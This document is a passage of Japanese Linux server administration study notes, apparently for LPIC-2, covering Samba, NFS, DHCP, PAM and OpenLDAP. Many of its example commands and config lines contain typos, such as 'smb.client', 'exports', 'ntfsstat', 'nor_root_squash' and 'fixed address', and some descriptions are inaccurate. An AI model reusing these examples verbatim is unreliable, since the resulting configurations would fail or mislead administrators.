  • ADドメイン
    • AD(Active Directory)ドメインはWindows 2000 Server以降に採用されているドメインサービスのこと。
    • NTドメインと異なり、複数ドメインを階層構造で管理できる。そのため大規模ネットワークにも対応している。

ドメインコントローラ

ドメインコントローラはドメインを管理するためのサーバのこと。 ドメイン内のユーザのログオン認証を行う。

ドメイン内にドメインコントローラが1つ以上存在することで機能を実現する。 ユーザアカウント/グループはドメインコントローラに登録されユーザはドメインコントローラにユーザ名とパスワードを送り認証する。 なお冗長化のためにドメインコントローラは複数用意できる。

NetBIOS

NetBIOSはWindowsネットワークで使われているネットワーク用APIのこと。 ネットワーク内のホストにそれぞれ異なる15Byteの名称を付けて識別し、この名称に1Byteの通信アプリケーション情報を追加したものがNetBIOS名となる。 WindowsはこのNetBIOS名により通信対象のソフトウェアを区別する。

またNetBIOSをTCP/IPで使う仕組みにNetBIOS over TCP/IPというものがある。 これはTCP/IPでNetBIOSをカプセル化してTCP/IP上でセッション確立する仕組み。

WINSはIPアドレスとNetBIOS名の名前解決を行う仕組みのこととなる。

SMB/CIFS

SMB(Server Message Block)はWindows OSにおけるファイル共有プロトコルの1つ。 Windows以外のOS、LinuxやMacでも使用することができる

SMBプロトコルは、クライアントとサーバー間でのファイルや印刷データの共有、およびそれらのシリアルポートを通じた通信をサポートしている。 2022年現在はSMBを拡張したCIFS(Common Internet File System)も使用されている。

SMBとCIFSの特徴は以下の通り。

比較項目SMBCIFS
下位プロトコルNetBIOSインターフェースTCP/IP
暗号化のサポートなしあり
サポート範囲LinuxやMacでも使用可能Windowsシステム特化

SMB/CIFSの用途は以下用途で使用できる。

  • ファイル共有
  • プリンタ共有
  • リモートアクセスとその管理

WINSサーバ

WINSサーバはNetBIOSとIPアドレスの名前解決を行うサーバのこと。 WINSに情報が存在しない場合はLMHOSTSファイルが名前解決に使用される。

LMHOSTSの構造は以下の通り。

192.168.1.1   LPICSV   #PRE   
192.168.1.2.  HOST1    #PRE   #DOM:LPIC

10.2. Sambaサーバの構築

10.2.1. Sambaサーバ

SambaはWindowsネットワークで使用されるSMB/CIFSプロトコルを利用してWindowsでのファイル共有の仕組みを提供するOSSソフトウェアのこと。 機能としてはファイル共有のほかに、プリンタ共有、認証機能も提供する。

提供できる機能は以下の通り。

  • ファイルサーバ機能
  • プリントサーバ機能
  • WINSサーバ機能
  • ドメインコントローラ
  • ActiveDirectoryメンバーサーバ
  • Microsoftネットワーククライアント

Sambaにてサーバ機能を提供するデーモンはsmbdnmbとなる。 smbdはファイルやプリンタの共有、ユーザの認証、nmbdはブラウズ機能、NetBIOSによる名前解決を提供する。

Sambaのバージョン

Samba3とSamba4の主な違いを以下に記載する。

機能Samba3Samba4
ドメインコントローラNTドメインのドメインコントローラ構築ができる(NTMLv2の使用、WINSサーバによる名前解決、LDAP連携の可能)ADドメインのドメインコントローラ構築ができる(Keroberos認証、DNSによる名前解決、LDAP内蔵)
ファイルサーバSMB2に対応SMB2,SMB3に対応

10.2.2. Sambaの基本動作

Sambaは以下の3つのプロセスから構成される。

  • smbd
    • ファイル共有、認証
  • nmbd
    • ブラウジング機能、NETBIOS名前解決、WINSサーバ
  • winbindd
    • Winbind機能

またSambaサーバが利用するポートは以下の通り。

ポート番号説明
137/UDPNetBIOS名前解決やブラウジングに使用
138/UDPNetBIOS名前解決やドメインログオンに使用
139/TCPファイル共有(Microsoft Direct Hosting SMBを利用していない場合)
445/TCPファイル共有(Microsoft Direct Hosting SMBを利用している場合)

Sambaの起動方法はSystemdのシステムでは以下の通り。

systemctl start smb.client
systemctl start nmb.service

SysVinitを採用したシステムでは以下の通り。

/etc/init.d/smb start

10.2.3. smb.conf

Sambaサーバの設定はsmb.confファイルで行う。 smb.confは全体設定、共有定義から構成される。

smb.confの構造は以下の通り。 コメントアウトは#;で可能。

# 全体設定
[global]
パラメータ名 = 値

# 共有定義
[homes]
パラメータ名 = 値

[printers]
パラメータ名 = 値

[セクション名1]
パラメータ名 = 値

[セクション名2]
パラメータ名 = 値

globalセクションの設定

globalセクションではsmaba全体の設定を行う。 なお変更後はsambaの再起動が必要となる。

主要な項目は以下の通り。

# Sambaサーバが所属するワークグループ名もしくはドメイン名を指定する
workgroup = ワークグループ名|ドメイン名

# Sambaサーバの動作モードを指定する
server role = 動作モード
# サーバ動作モード
# AUTO : securityパラメータの設定に従う(デフォルト)
# STANDALONE : スタンドアロンのサーバ
# MEMBER SERVER : ドメインのメンバーサーバ
# CLASSIC PRIMARY DOMAIN CONTROLLER : NTドメインのプライマリーコントローラ(PDC)
# CLASSIC BACKUP DOMAIN CONTROLLER : NTドメインのバックアップドメインコントローラ(BDC)
# ACTIVE DIRECTORY DOMAIN CONTROLLER : Active Domainのドメインコントローラ

# NetBios名の指定
netbios name = NETBios名

# サーバの名前や説明の指定
server string = コメント

# 接続を許可するホストの指定(記載されていないホストは接続拒否)
hosts allow = ホスト

# Guestアカウントの定義(アカウントが存在しないユーザにGuestとしてアクセスさせれる)
guest account = ゲストユーザ名

# Sambaユーザとして認証できない際の動作の指定
map to guest = Never | Bad User | Bad password
# Never: ゲスト認証の否認
# Bad User: 存在しないユーザの指定でゲスト認証とみなす
# Bad Password: Bad Userに加えてパスワード入力ミスの場合もゲスト認証とみなす

# ログファイルの指定(「%m」で接続元ホストごとにログを分けれる)
log file = ログファイル名

# ログファイルの最大サイズをKB単位で指定
max log size = サイズ

# ハッシュ値を用いた暗号化パスワードの使用を設定
encrypt passwords = Yes | No

# パスワード認証をsmbpassword方式で行う場合のパスワードファイルの指定
smb password file = パスワードファイルのパス

# SambaのパスワードとLinuxのパスワードを同期させるかの設定
unix password sync = Yes | No
passwd program = パスワードコマンドのパス
passwd chat = 期待させる文字列

# UNIXユーザを別ユーザ名とマッピングさせる
# 「UNIXユーザ名=Windowsマシンのユーザ名」のように記述
username map = マッピングファイル名

# ログオフ時に実行するスクリプトファイルの指定
logon script = スクリプトファイル名

# SambaサーバをWINSサーバとして動作させる場合にYesを設定
wins support = Yes | No

# WINSサーバのIPアドレスをIPアドレスを指定する
wins server = IPアドレス

共有の設定

globalセクション以降では個々の共有設定を行う。

主要な項目は以下の通り。

# コメントの指定
comment = コメント

# ブラウジングしたときの表示設定
browseable = Yes | No

# 書き込みの許可設定
writeable = Yes | No
read only = No | Yes

# 共有ディレクトリのパスを指定
path = ディレクトリのパス

# 共有内に作成するファイル/ディレクトリの所有者/グループを強制的に変換
force user = ユーザ名
force group = グループ名

# 書き込みが例外許可されるユーザ/グループの指定
write list = ユーザ名 | @グループ名

# 「.」で始まる名前のファイル/ディレクトリを表示しないように隠し属性の適用の指定
hide dot files = Yes | No

# 任意の名前のファイルやディレクトリを表示させたくない場合に指定。「/」で複数指定可能。
veto files = /ファイル名/

# 共有内にファイルやディレクトリを作成する場合のパーミッション設定
# ファイルに適用可能なパーミッション(Default:0744)
create mask = mode
# ディレクトリに適用可能なパーミッション(Default:0755)
directory mask = mode
# 必ずファイルに適用されるパーミッション(Default:0000)
force create mode = mode
# 必ずディレクトリに適用されるパーミッション(Default:0000)
force directory mode = mode

# アクセス可能ユーザの指定
valid users = ユーザ名

# Guestユーザのログイン許可の指定
guest ok = Yes | No
public = yes | No

SambaサーバをADドメインに参加させる設定

SambaサーバをActive Directoryドメインに参加させる際には以下設定が必要となる。

設定項目説明
workgroup=ADドメインのNetBios名ADドメインのNetBIOS名の指定
realm=レルム名ADのドメイン名の指定(FDQNで指定)
security=動作モードsambaの動作モードの指定(adsと指定)
[global]
workgroup = SAMPLE
realm = SAMPLE.LOCAL
security = ads

なおレルム名はKerberos認証(ユーザが1つの認証で複数台のサーバへアクセスできるシングルサインオン)が管理する範囲のことを指す。 これはActive Directoryが認証にKerberosを使用することに起因する。

またActive Directoryドメインに参加するにはnet ads joinコマンドを実行する。

net ads join -U ユーザ名

homesセクションの設定

homeセクションはUNIXユーザの各ホームディレクトリを一括で共有するためのセクション。 そのため個々のユーザごとにホームディレクトリの共有を定義する必要はない。

printersセクションの設定

printersセクションは共有プリンタに関する設定を行うセクション。 複数プリンタがある場合も1つの設定のみで完結する。

# Yesならばファイル共有ではなくプリンタ共有として扱う
print ok = Yes | No
printable = Yes | No

個々の共有設定

共有フォルダ/共有プリンタなどネットワークで共有されるものは共有リソースと呼ばれる。 「globals」「homes」「printers」は予約語となっているが、それ以外は任意に作成可能。

共有名の最後に$をつけるとブラウズしても見えない隠し共有となる。

testparmコマンド

testparmコマンドはsmb.confの構文にミスがないかを調べるもの

testparm [オプション] [設定ファイル]
オプション説明
-s構文チェック後にsmb.confを表示
-vデフォルトパラメータの表示

なおSambaはSyslogを介さずにログを処理する。 smbdのログはlog.smbd、nmbdのログはlog.nmbdの保存される。

10.2.4. 設定に関する注意事項

マスターブラウザ

マスターブラウザはワークグループ単位/ドメイン単位で存在し、自動的に選出される。 なおOSレベルという値により算出され、OSレベルが高いほど算出優先度が高くなる。 Sambaサーバに33以上を設定すれば、優先的に選ばれる。

# ローカルマスターブラウザに選出されないようにする
local master = Yes | No

# ローカルマスターブラウザの選出に参加する
domain master = YeS | No

# ブラウザ選定を促す
preferred master = Yes | No | Auto

# OSレベルの設定
os level = 数値

認証の設定

認証方法はsecurityで設定を行う。 なおデフォルト値はUSERとなる。

security = USER | DOMAIN | ADS
# USERではsmbpasswdファイルなどを使い認証
# DOMAINではドメインコントローラに認証情報を送り認証(NTLM認証)
# ADSではActive DirectoryドメインにKerberos認証を使いログオフする

10.2.5. Sambaユーザの管理

security = USERの場合はUNIXシステムアカウントとは別に、Samba利用者用のユーザアカウントも必要となる。 なお作成には対応するUNIXユーザも必要になる。

Samba4ではユーザ情報が格納されるデータベースとして以下の4種類が使用可能。 またMySQLやPostgreSQLなどもユーザ情報格納に使用可能。

  • smbpasswd
    • Samba2.2系での利用形式
    • テキスト形式のパスワード(/etc/samba/smbpasswdなど)に1行つ図保存
    • 使用にはpassdb backend = smbpasswdとsmb.confに指定
  • tdbsam
    • バイナリ形式でデータベースファイル(/etc/samba/passdb.tdbなど)に保存
    • Sambaで使えるユーザ情報の全項目を格納可能
    • 使用にはpassdb backend = tdbsam:/etc/samba/passdb.tdbとsmb.confに指定
  • ldapsam
    • LDAPサーバにユーザ情報を格納する(LDAPサーバが必要)
    • 多数ユーザを扱う場合に向いている手法
    • 使用にはpassdb backend = ldapsam:ldap://LDAPサーバ名[:ポート番号]とsmb.confに指定

pdbeditコマンド

Samba3.0以降で利用できるユーザ管理コマンド。

pdbedit [オプション] Sambaユーザ名
オプション説明
-LSambaユーザ一覧表示
-aSambaユーザ追加
-xSambaユーザ削除

smbpasswdコマンド

Sambaユーザのパスワード変更を行うコマンド。

smbpasswd [オプション] [Sambaユーザ名]
オプション説明
-dSambaユーザの無効化
-eSambaユーザの有効化
-xSambaユーザの削除

10.2.6. Sambaの管理コマンド

smbstatusコマンド

Sambaサーバに接続されているクライアント、使用中の共有、ロックされているファイルを確認できるコマンド。

smbstatus

nmblookupコマンド

NetBIOS名を問い合わせたり、NetBIOS名からIPアドレスを検索したりできるコマンド。

nmblookup [オプション] NetBIOS名orIPアドレス、ワークグループ名
オプション説明
-A引数をIPアドレスとみなす
-Mマスターブラウザの検索

10.2.7. Sambaクライアント

Sambaサーバはサーバ機能のみではなく、LinuxがWindowsネットワーク上の共有リソースにアクセスするためのクライアント機能も提供する

smbclientコマンド

SambaサーバやWindowsホストにより提供される共有リソースを利用できるコマンド。

smbclient [オプション] 接続先
オプション説明
-Lリスト表示の要求
-N認証を行わない
-U ユーザ名接続ユーザの指定
サブコマンド説明
cd ディレクトリディレクトリを移動する
del ファイルファイルの削除
dirファイルリストの表示
exitsmbclientの終了
get ファイルファイルの取得
mget ファイル複数ファイルをまとめて取得
mkdir ディレクトリディレクトリの作成
mput ファイル複数ファイルをまとめてサーバに転送する
lcd ディレクトリローカル側のディレクトリに移動
put ファイルファイルをサーバに転送
rmdir ディレクトリディレクトリを削除する

使用例は以下の通り。

# 共有リソースの一覧表示
smbclient -L 192.168.1.2

# winhostの共有リソースpublicへのアクセス
smbclient //winhost/public

# 共有ディレクトリ/publicを/mnt/publicにマウント
mount -t cifs //winhost/public /mont/public

smbcontrolコマンド

Sambaの主要なデーモンであるsmbd、nmbd、winbinddにメッセージを送ることができるプログラム。

smbcontrol [対象] [メッセージタイプ]
メッセージタイプ説明
close-share指定した共有をClose
reload-config指定したデーモンに設定の再読み込みさせる
kill-client-ip指定したIPアドレスのクライアントを切断
ping = 指定した対象にpingし応答が来た対象のPIDを表示

なお/etc/init.d/winbindd restartでもwinbinddに設定ファイルを再読み込みは可能。

samba-toolコマンド

Samba4での管理のメインツールとなるコマンド。 ドメイン(AD等)の管理、DNSの管理の他、セキュリティ関連の操作やユーザー管理等も行える。

samba-tool <サブコマンド>
サブコマンド説明
dnsDNS管理
domainドメイン管理
testparm設定ファイルの構文チェック
userユーザ管理

10.3. NFSサーバの構築

10.3.1. NFS

NFS(Network File System)はネットワークを介してファイルを共有する仕組み。 Unix系OS同士のファイル共有にはNFSが使用される。

NFSサーバが公開したディレクトリはNFSクライアントがマウントすることでリモートファイルシステムをローカルファイルシステム同様に扱うことができる。 NFSサーバを実現するには以下の3つのサービスが必要となる。

サービスサーバクライアント説明
portmap必要必要RPCプログラム番号をTCP/IPポート番号に変換
nfsd必要不要ファイルシステムのエクスポート及びクライアント要求処理
mountd必要不要リモートファイルシステムのマウント/アンマウント

RPC(Remote Proceduce Call)はネットワーク上にあるリモートホストに機能を別のホストから使えるようにする仕組みのこと。 RPCサービスにはRPCプログラム番号が付けられている。対応表は/etc/rpcで確認可能。

RPCサービスが利用するTCP/UDPポートは動的に割り当てられるため、RPCクライアントの利用にはポート番号を確認する必要がある。 portmapはRPCプログラム番号とポート番号のマッピングを行うサービスとなる。

なおportmapはTCP Wrapprでアクセス制御することが可能。 NFSを利用する際の推奨設定(サービス提供範囲の限定)は以下のように行う。

portmap: 192.168.3.

NFSv3/NFSv4

NFSv4の特徴は以下の通り。

  • ポート番号が2049番固定
  • idimapdサービスによりUIDの考慮が不要
  • ルートディレクトリがエクスポートされているように見える

rpcinfoコマンド

RPCサービスの状況を確認するコマンド。

rpcinfo オプション [ホスト名]
オプション説明
-p指定したホストで動作するRPCサービス一覧の表示

10.3.2. NFSサーバの設定

NFSサーバで特定のディレクトリを公開することはエクスポートと呼ばれる。 エクスポートするディレクトリは/etc/exportsに記述する。

記述例は以下の通り。

/share      172.16.0.0/255.255.0.0(rw)
/public     *.local.jp(ro) local(rw,nor_root_squash)

また/etc/exportsのオプションは以下の通り。

オプション説明
ro読み取り専用でエクスポートする
rw読み取り/書き込み属性でエクスポート
no_root_squashrootアクセス時にroot権限で実行
root_squashrootアクセス時に匿名アカウント権限で実行(デフォルト設定)
all_squashすべてのアクセスを匿名アカウント権限で実行

NFSサーバの注意点としてUIDを統一するべき。(UNIXのUIDがそのままNFSサーバでも使用されるため) そうしないと別ユーザとして認識される場合がある。

exportsコマンド

現在のエクスポート状況の表示、/etc/exportsの変更を反映させるコマンド。

exports [オプション] [ホスト:パス]
オプション説明
-aすべてのディレクトリのエクスポート/アンエクスポート
-rすべてのディレクトリの再エクスポート
-Uアンエクスポート
-v詳細に表示

showmountコマンド

NFSサーバのディレクトリをマウントしているNFSクライアントを調べることができるコマンド。

showmount [オプション] [ホスト]
オプション説明
-aクライアントのホスト名とマウントしているディレクトリの表示
-e指定したホストでエクスポートしているディレクトリの表示

nfsstatコマンド

NFSの統計情報を表示するコマンド。

ntfsstat [オプション]
オプション説明
-sNFSサーバ側の統計のみを表示
-cNFSクライアント側の統計のみを表示
-nNFSの統計のみを表示
-rRPCの統計のみを表示
-o netネットワーク層の統計表示

10.3.3. NFSクライアントの設定

NFSを使いリモートファイルシステムをマウントするにはmountコマンドを使用する。 ファイルシステムタイプにはnfsを指定する。

mount -t nfs filerever:/public /mnt/nfs/public

またNFSをマウントする際のオプションは以下の通り。

オプション説明
bgマウント失敗時もバックグラウンドで試行し続ける
fgマウントをフォアグラウンドで行う
softソフトマウントを行う
hardハードマウントを行う
intrハードマウント時の割り込みを許可
retransソフトマウントの場合の再試行回数
rsize=バイト数読み取りのブロックサイズ
wsize=バイト数書き込みのブロックサイズ

ソフトマウントとハードマウントはNFSサーバがクラッシュしたり障害が起きた際のNFSサーバが応答がない場合の動作が異なる

  • ソフトマウント
    • NFSサーバが応答しない場合タイムアウトになる
  • ハードマウント
    • ハングアップしているように見える
    • 応答があるまで要求を再試行し続ける
    • これを設定する場合はinitrオプションも指定する必要ある

起動時に自動マウントするには/etc/fstabに追加しておく。

filesvr:/pub /mnt/nfs/pub nfs rw 0 0

14.2.11 - 11.ネットワーククライアントの管理

DHCPやディレクトリサービスであるLDAPに関して

11.1. DHCPの設定

11.1.1. dhcpdの設定

DHCPサーバにはdhcpdが、DHCPクライアントにはdhclient,pump,dhcpcdが利用される。 dhcpdの設定はdhcpd.confで行う。

項目説明
option domain-nameドメイン名
option domain-name-serversDNSサーバ
option routesDGWのIPアドレス
option subnet-maskサブネットマスク
option broadcast-addressブロードキャストアドレス
option ntp-serversNTPサーバのIPアドレス
option nis-domainNISドメイン名
option nis-serversNISサーバのIPアドレス
option netbios-name-serversWINSサーバのIPアドレス
default-lease-timeDHCPクライアントが期限を求めない場合のデフォルトリース期間
max-lease-timeDHCPクライアントが上限を求めた場合の最大リース期間
range [dynamic-bootp]クライアントに割り当てるIPアドレス範囲
hostクライアントで固定IPアドレスを使用
fixed-address固定で割り当てるIPアドレス
hardwareクライアントを特定するためのMACアドレス

dhcpdの設定例は以下の通り、サブネットごとに設定を記述する。

subnet 192.168.0.0 netmask 255.255.255.0 {
    option routers 192.168.0.1;
    option subnet-mask 255.255.255.0;
    option nis-domain "example.net";
    option domain-name "example.net";
    option domain-name-servers 192.168.1.1, 192.168.2.1;
    option ntp-servers 192.168.1.1;
    option netbios-name-servers 192.168.1.1;

    range 192.168.0.128 192.168.0.254;
    defaut-realse-time 21600;
    max-lease-time 43200;

    host hostmachine1 {
        hardware ethernet 01:23:34:2A:89:0A;
        fixed address 192.168.0.100;
    }

}

サブネット毎の設定

サブネットごとに割り当てるIPアドレス範囲や特定のマシンに固定IPアドレスを割り当てる設定を行う。 固定IPアドレスの割り当てはMACアドレスで識別を行う。

リース期間

リース期間はIPアドレスをクライアントに貸し出す期間のこと。 指定は秒数で指定する

なおdhcpdが貸し出しているIPアドレスはdhcpd.leasesに記録される。 作成はtouch /var/lib/dhcop/dhcpd.leaseなどで行える。

11.1.2. DHCPクライアントの設定

クライアント側でDHCPを有効にするには設定を行う必要がある。 またdhclientコマンドでもIPアドレスの取得が可能。

RedHat系の場合

/etc/sysconfig/network-scripts/ifcfg-eth0などで以下のように設定する。

BOOTPROTO=dhcp

Debian系の場合

/etc/network/interfacesなどで以下のように設定する。

iface eth0 inet dhcp

11.1.3. DHCPリレーエージェント

DHCPリレーエージェントは異なるネットワーク間でDHCPサーバを利用する際に設定するプログラムのこと。 使用するデーモンはdhcrelay

設定例ではIPアドレスが172.16.0.2のDHCPサーバにeth1で受け取ったDHCPリクエストをリレーする設定例。

dhcrelay -i eth1 172.16.0.2

11.1.4. IPv6アドレスの自動設定

IPv6の場合はDHCPを使わずにIPアドレスの自動設定ができる。 これはIPv6の仕組みが以下のようになっているからである

  1. IPv6クライアントはIPv6ルータにルータ要請(RS)を送信
  2. IPv6ルータはルータ通知(RA)をIPv6クライアントに返送
  3. IPv6クライアントはルータ情報(prefix)と自身のMACアドレスから生成されるインターフェースIDよりIPv6アドレスを生成する

LinuxではradvdパッケージによりRAを送信できるようにすることができる。 設定ファイルは/etc/radvd.confとなり以下のように記述する。

inteface eth0 {
    AdvSendvert on; #RAの定期的送信の有効化
    prefix 2001:db8:0:1::/64; #ローカルアドレス
}

11.2. PAM

11.2.1. PAMの仕組み

PAMはプログラムに対してユーザ認証をするための機能を提供する仕組み。 PAMによりプログラム自体がユーザ情報を/etc/passwdにあるか別のホストにあるかを気にせずに設定できる。 認証方法は設定ファイルの編集をするだけで可能で、特定ユーザのみの認証などもできる。

11.2.2. PAMの設定

PAMの設定ファイルは/etc/pam.dディレクトリに配置さ、ユーザ認証を行うプログラムごとにファイルが用意されている。 またPAM設定ファイルの書式は以下の通り。

モジュールタイプ コントロール モジュールパス 引数
項目説明
モジュールタイプモジュールが用いる認証の型
コントロール認証の成功/失敗時の処理を指定
モジュールパスどのモジュールを使うか指定
  • モジュールタイプ
    • auth … ユーザ認証を行う
    • account … ユーザ認証ができるか確認
    • password … ユーザの設定と変更に使用
    • session … ユーザ認証の前後に処理する内容を指定
  • コントロール
    • requisite … モジュールの実行に失敗したら認証拒否する
    • required … モジュールの実行に失敗してもすぐに拒否せず、同じモジュールの実行完了後に認証を拒否する
    • sufficient … モジュールの実行に成功した場合、上位のrequiredがすべて成功の場合認証を成功とする
    • optional … optionalを指定したモジュールタイプが1つだけの場合を除いてPAMに影響を与えない
    • include … 指定したファイルの設定を読み込んで処理する
    • substack 指定した設定を読み込んで処理する(認証の成否は指定したファイル内で完結し、1モジュールとしてカウントする)

またPAMモジュールは以下の通り。 PAMモジュールは/lib/security/lib64/securityに保存される。

PAMモジュール説明
pam-cracklib.soパスワード安全性の向上
pam_pwquality.soパスワード安全性の向上(RHEL7やCentOS7から使用)
pam_env.soユーザログイン時の環境変数の初期設定
pam_deny.so認証に対し常に失敗を返す
pam_limits.soユーザが利用できるリソースの制限
pam_listfile.soファイル内容に基づきサービスの許可/非許可
pam_nologin.so/etc/nologinファイルがあるとき一般ユーザのログインを拒否する
pam_pwdb.so/etc/passwd,/etc/shadow,NISを使ったユーザ認証/パスワード変更を行う
pam_rootok.sorootユーザによるアクセス許可をする
pam_secirty.so/etc/securityファイルに記載された端末のみrootログインの許可
pam_stack.so他のPAM設定ファイルをincludeする
pam_succedd_if.so特定のファイル属性をチェックしてサービス許可する
pam_unix.so通常のパスワード認証を行う
pam_ldap.soLDAP認証を行う
pam_warn.so認証時/パスワード変更時のログ出力する
pam_sss.soSSSDを使った認証を行う
pam_wheel.soroot権限アクセスをwheelグループメンバーのみに制限する

11.3. LDAP

11.3.1. LDAPとは

LDAPはネットワーク機器やユーザーID、パスワードを管理するディレクトリサービスの維持やアクセスを行うプロトコルのこと。 堅く言うと、X.500をベースとしたディレクトリサービスに接続するために使用されるプロトコルでDAPを軽量化したものともいえる。

一般的にLDAPは一元管理の認証サーバを構築する際に使用される。 LDAPによりユーザやリソースに関する情報を検索したり管理することができる。

なお、OpenLDAPの設定方法は、OpenLDAP2.3以降、テキストの設定ファイルから起動時に設定を読み込む一般的な方法から、LDAPを使った動的な設定方法に変更されている。

LDAPの概念

LDAPではデータをオブジェクトとして扱う。 オブジェクトとは現実世界に存在する何らかの実体をコンピュータ上で表したもの。

  • エントリ
    • LDAPでのオブジェクトの単位のこと
    • それぞれのエントリはオブジェクトクラスに属する
    • 下位のエントリを分類する目的のみに使用するエントリはコンテナと呼ばれる
  • 属性
    • エントリ(オブジェクト)が持つ情報を表すもの
    • 属性は属性名と属性値から構成される
  • DIT(ディレクトリ情報ツリー)
    • エントリ間の関係を階層構造(木構造)で表したもの

LDAP

11.3.2. LDAPの仕組み

ディレクトリ情報ツリーと識別名

LDAPでは情報はDIT(ディレクトリ情報ツリー)という階層に格納される。 ディレクトリ情報ツリー内のエントリ識別には識別名(DN)を使用する。 識別名はエントリ属性名とその値から構成される相対識別名を「,」でつないだもの、以下のように格納される。

uid=student,ou=IEducation,dc=CCNA,dc=ja

DIT上にあるエントリを識別するための識別子には、DN(Distinguished Name)とRDN(Relative Distinguished Name)がある。

LDIF

LDIFはディレクトリ内の情報を記述するファイル形式のこと。 LDAPサーバにディレクトリ情報を登録、変更する場合に使用されrる。

記法は以下の通り。

dn: 識別名
属性名: 値
属性名: 値
   :    

LDIFファイルでは最初の行でエントリの識別名(DN)を記述する。 また、複数のエントリを記載する場合は空行で区切り、コメントは行頭に「#」をつける。

なお、属性値は通常UTF-8のテキストで記載するが、バイナリデータなどの特殊なデータを指定する場合は「属性名::属性値」のようにし、属性値にはBase64でエンコードした値を指定する。

オブジェクトクラス

オブジェクトクラスはオブジェクトが持つべき属性(情報)を定義したもの

LDAPでのオブジェクトの単位であるエントリは、必ずオブジェクトクラスに属する。オブジェクトクラスによってエントリの実体(エントリが人を表すのか、組織を表すのかなど)が決定される。

オブジェクトクラスは以下の通り。

種類説明
ABSTRACT他のオブジェクトクラスを定義するための基底クラス
STRUCTURAL人や組織などを表すオブジェクトクラス
AUXILIARY構造型クラスと共に用いるイブジェクトクラス

スキーマ

スキーマはオブジェクトや属性の定義のこと。 LDAPでは様々なスキーマが事前に登録されており、/etc/openldap/schemaに格納されている。

主なスキーマファイルは以下の通り。

スキーマファイル説明
core.schemaOpenLDAP必須のスキーマ
cnやouなどの基本的属性が定義されている
cosine.schemaディレクトリサービスのX.500規格で規定された属性が定義されたスキーマ
inetorgperson.schemaアドレス帳/個人情報を扱うためのスキーマ
nis.schemaUnix/Linuxユーザ/グループ情報を扱うためのスキーマ

属性名

主な属性は以下の通り。

属性名説明
dn識別名
objectClassオブジェクトクラス
c国名
cn一飯名称
dcドメイン構成要素
mailメールアドレス
o組織名
ou部署などの組織単位
sn苗字
telephoneNumber電話番号
uidユーザのログイン名
uidNumberユーザID

オブジェクト識別子

オブジェクトクラスや属性にはオブジェクト識別子(OID)が割り振られる。 OIDは全世界で重複しないようにIANAにより管理されている。

新しいオブジェクトクラスや属性を作成するためにスキーマファイルを作成・拡張する場合は、IANAから一意のOIDを取得する必要がある。

ホワイトページ

ホワイトページは個人別電話帳のことを指す。 LDAPによりホワイトページを作成し個人別データを登録するとメーラなどのネットワーク経由で電話番号など情報検索が可能。

ホワイトページの使用にはinetorgperson.schemaで定義されたinetOrgPersonクラスを使用するのが一般的となる。

11.3.3. Open LDAPの設定

LinuxでLDAPを使用するにはOpenLDAPが一般的に使用される。 サーバデーモンはslapdとなる。

また設定ファイルは/etc/openldap/slapd.confとなる。 設定ファイルの例は以下の通り。

# スキーマ定義ファイルのInclude
include   /etc/openladp/schema/corba.schema
                 :
                 :

# DBの形式
database bdb

# 管理するディレクトリのトップエントリ
suffix "dc=study,dc=jp"

# ディレクトリ管理者のDN
rootdh "cn=Manager,dc=study,dc=jp"

# ディレクトリ管理者のパスワード
rootpw [SSHA]5en8MexzhkJ90K0myuY/BfQ=

# LDAPデータベースの格納ディレクトリ
directory /var/lib/idap

# LDAPのインデックス登録
index objectClass eq.pres
index ou,cn,mail,surname,givenname eq,pres,sub
                    :
                    :

slapd.confの設定項目は以下の通り。

設定項目説明
includeスキーマファイルなど別のファイルを読み込む
databaseディレクトリデータを格納するBackENDデータベースの形式指定
suffix管理するディレクトリのトップエントリの指定
rootdnディレクトリ管理者のDNを指定する
rootpwディレクトリ管理者のパスワードを指定する
directoryLDAPデータベースの格納ディレクトリのパス指定
index検索用インデックスを作成する属性とインデックスの種類の指定

アクセス制御

OpenLDAPではエントリ/属性に対しアクセス制御(ACL)できる。

accsess to アクセス制御対象
    by 接続元 アクセスレベル
アクセス制御対象説明
*すべてのエントリ
attrs=属性指定した属性のみ
dn=DN指定したDNのみ
接続元説明
*すべてのユーザ
annonymous認証前のユーザ
users認証されたユーザ
self接続中の認証済みユーザ自身
dn=DN指定したDNユーザ
アクセスレベル説明
write属性値を変更できる
read検索結果を参照できる
search検索できる
compare比較できる
auth認証を受けることができる
noneアクセスできない

設定例は以下の通り。

# userPassword属性に対し、管理DNとユーザ自身による更新は許可、ユーザ認証前ユーザは認証のみ許可、それ以外のユーザはアクセス禁止する例
access to attrs=userPassword
       by dn="cn=Manage,dc=study,dc=jp" write
       by self write
       by annonymous auth
       by * none

LDAPの起動

slapdの起動は以下のようにする。

/usr/local/etc/libexex/slapd

SysVinitのシステムでは以下のように起動。

/etc/init.d/slapd start

systemdのシステムでは以下の通り。

systemctl start slapd.service

slappasswdコマンド

slapd.confファイルのrootpwに関する管理者パスワードを作成するコマンド。 サーバ管理者のパスワードをハッシュ化して生成する。

slappasswd

slapcatコマンド

LDAPデータベースの内容をLDIF形式で出力するコマンド。

slapcat > ldapdb.ldif

slaptestコマンド

設定ファイルslapd.confの構文をチェックするコマンド。

slaptest

slapaddコマンド

LDIFデータをLDAPデータベースにリストアするコマンド。

slapadd -l ldapdb.ldif
オプション説明
-v詳細表示
-d 数デバッグレベルの指定
-f ファイル設定ファイルの指定
-cエラー時も処理を継続
-n 数使用するデータベースをDB番号で指定
-b DN使用するデータベースをDNで指定

slapindexコマンド

データベースのインデックスを再構築するコマンド。 slapaddコマンドの後に実行する。

slapindex

11.3.4. LDAPクライアントの利用

LDAPクライアントコマンドには以下のようなコマンドがある。

コマンド説明
ldapaddエントリを追加する
ldapsearchエントリを検索する
ldapdeleteエントリを削除する
ldapmodifyエントリを変更する
ldappasswdパスワードを変更する

ldapaddコマンド

エントリを追加するコマンド。 追加するには/tmp/test.ldifにLDIFで記述してからコマンドを実行して追加する。

ldapadd <オプション>
オプション説明
-h ホストLDAPサーバの指定(デフォルトはローカルホスト)
-xSASLを使わず簡易認証を用いる
-D バインドDN認証に利用するDNを指定する
-W認証時のパスワードを対話的に入力する
-w パスワード認証時のパスワードを指定する
-f ファイル名LDIFファイルの指定

ldapdeleteコマンド

LDAPサーバに登録されたエントリを削除するコマンド

ldapdelete 

ldapsearchコマンド

エントリを検索するコマンド。

ldapsearch <オプション> 検索フィルタ <出力属性>
オプション説明
-h ホストLDAPサーバの指定
-H URILDAPサーバの指定をldapurlで指定
-xSASLを使わず簡易認証を用いる
-D バインドDN検索を開始するDNを指定する
-L検索結果をLDIFv1形式で表示する
-LL検索結果をコメントなしで表示する
-LLL検索結果をコメントとLDAPバージョン表示なしで表示する
